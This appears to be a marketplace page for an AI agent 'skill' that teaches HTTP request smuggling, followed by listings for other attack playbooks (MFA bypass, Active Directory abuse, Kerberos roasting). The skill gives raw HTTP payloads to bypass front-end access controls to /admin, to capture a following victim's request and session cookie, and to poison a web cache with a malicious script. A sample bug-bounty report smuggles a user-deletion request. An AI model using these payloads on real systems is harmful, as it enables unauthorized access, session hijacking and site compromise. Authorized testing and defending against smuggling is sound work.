Identify and exploit HTTP Request Smuggling (HTTP Desync) vulnerabilities caused by discrepancies in how front-end proxies (load balancers, CDNs) and back-end servers parse the Content-Length and Transfer-Encoding headers. Use this to bypass security controls, hijack user sessions, and poison web caches.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
# Concept: HTTP/1.1 allows specifying request boundaries via Content-Length (CL) OR
# Transfer-Encoding: chunked (TE). If you send BOTH headers, and the Front-end and
# Back-end servers prioritize different ones, they will disagree on where the request ends.
# Requirement: You must carefully manipulate line endings (`\r\n`). Do not let tools
# auto-update your Content-Length header!
# 1. Probing for CL.TE (Front-end uses CL, Back-end uses TE)
# If vulnerable to CL.TE, this request triggers a timeout or severe delay.
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
1
Z
Q
# Explanation: Front-end reads 4 bytes ("1\r\nZ"). Back-end reads chunked encoding,
# sees chunk size 1 ('Z'), then expects the next chunk size but gets 'Q'. It hangs waiting for termination.
# 2. Probing for TE.CL (Front-end uses TE, Back-end uses CL)
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Explanation: Front-end reads chunks, sees 0 (end of chunk), forwards request.
# Back-end reads Content-Length 6. It reads past the "0\r\n\r\n" and waits for 'X' to complete the 6 bytes.
# Goal: Access the `/admin` panel, which the front-end proxy normally blocks.
# Payload:
POST / HTTP/1.1
Host: target.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
# What happens:
# 1. Front-end uses Content-Length (43 bytes). It considers this ENTIRE block as ONE request and forwards it.
# 2. Back-end uses Transfer-Encoding. It reads the "0" and considers the first request FINISHED.
# 3. The Back-end sees the left-over bytes (`GET /admin...`) and assumes it is the START of the NEXT incoming HTTP request.
# 4. You successfully smuggled a request to `/admin` hidden inside a normal POST request.
# Goal: Force the back-end to append the NEXT innocent user's request onto your smuggled request.
# Payload (Smuggling a request to a comment form that reflects data back to us):
POST / HTTP/1.1
Host: target.com
Content-Length: 176
Transfer-Encoding: chunked
0
POST /post_comment HTTP/1.1
Host: target.com
Content-Length: 800
Content-Type: application/x-www-form-urlencoded
comment=Please capture this:
# What happens:
# 1. We smuggle the POST comment request.
# 2. Notice our smuggled request claims Content-Length: 800, but we provide no more bytes.
# 3. The Back-end waits.
# 4. An innocent victim browses to the site: `GET / HTTP/1.1\r\nCookie: session=xyz...`
# 5. The Back-end receives the victim's request, but assumes it's the missing 800 bytes of OUR comment payload!
# 6. We check our comments page and see the victim's raw HTTP request, including their session cookie.
# Goal: Instruct the front-end cache to map a malicious response to an innocent URL.
# Payload:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /malicious-xss-endpoint HTTP/1.1
Host: target.com
# What happens:
# 1. Attacker sends the smuggled payload.
# 2. IMMEDIATELY, attacker requests `GET /innocent-script.js`.
# 3. The Back-end answers the smuggled request (`/malicious-xss-endpoint`) and sends it down the socket.
# 4. The Front-end receives the malicious response, but it thinks it is the response to `GET /innocent-script.js`!
# 5. The Front-end caches the malicious file as `innocent-script.js`. Entire site is compromised.
flowchart TD
A[Use Burp HTTP Request Smuggler Extension] --> B{Vulnerability Found?}
B -->|Yes - CL.TE| C[Construct CL.TE payloads]
B -->|Yes - TE.CL| D[Construct TE.CL payloads]
B -->|No| E[Ensure HTTP/2 is disabled. Smuggling is primarily an HTTP/1.1 flaw.]
C --> F{Objective?}
D --> F
F --> G[Bypass WAF/Admin restrictions]
F --> H[Capture User Sessions]
F --> I[Web Cache Poisoning]
Content-Length and Transfer-Encoding, the proxy must reject it entirely with an HTTP 400 Bad Request.| Concept | Description |
|---|---|
| CL.TE | Front-end uses Content-Length, Back-end relies on Transfer-Encoding |
| TE.CL | Front-end uses Transfer-Encoding, Back-end relies on Content-Length |
| Request Smuggling | Exploiting parsing discrepancies to hide a secondary HTTP request inside the body of a primary HTTP request |
Bug Bounty Report: Admin Bypass via HTTP Request Smuggling
==========================================================
Vulnerability: HTTP Request Smuggling (CL.TE)
Severity: Critical (CVSS 9.8)
Target: Front-end CDN -> Backend Application Cluster
Description:
The application's front-end CDN prioritizes the `Content-Length` header, while the backend application servers prioritize the `Transfer-Encoding: chunked` header. This discrepancy allows an attacker to smuggle hidden HTTP requests within normal POST bodies.
By smuggling a request to the restricted `/admin/delete_user` endpoint, the attacker can execute administrative actions, completely bypassing the CDN's Web Application Firewall (WAF) and path-based access controls.
Reproduction Steps:
1. In Burp Repeater, disable "Update Content-Length" in the top menu.
2. Send the following CL.TE payload:
POST / HTTP/1.1
Host: target.com
Content-Length: [size]
Transfer-Encoding: chunked
0\r\n
\r\n
POST /admin/delete_user?id=5 HTTP/1.1\r\n
Host: localhost\r\n
\r\n
3. Observe the admin action executing on the backend.
Impact:
Critical. Complete bypass of all front-end routing and security controls. Potential for mass account takeover by capturing subsequent users' session cookies mapped to the attacker's smuggled request body.
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
日本語の概要は準備中です。原文の説明を表示しています。
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
日本語の概要は準備中です。原文の説明を表示しています。
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
日本語の概要は準備中です。原文の説明を表示しています。
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
日本語の概要は準備中です。原文の説明を表示しています。
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
日本語の概要は準備中です。原文の説明を表示しています。
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
日本語の概要は準備中です。原文の説明を表示しています。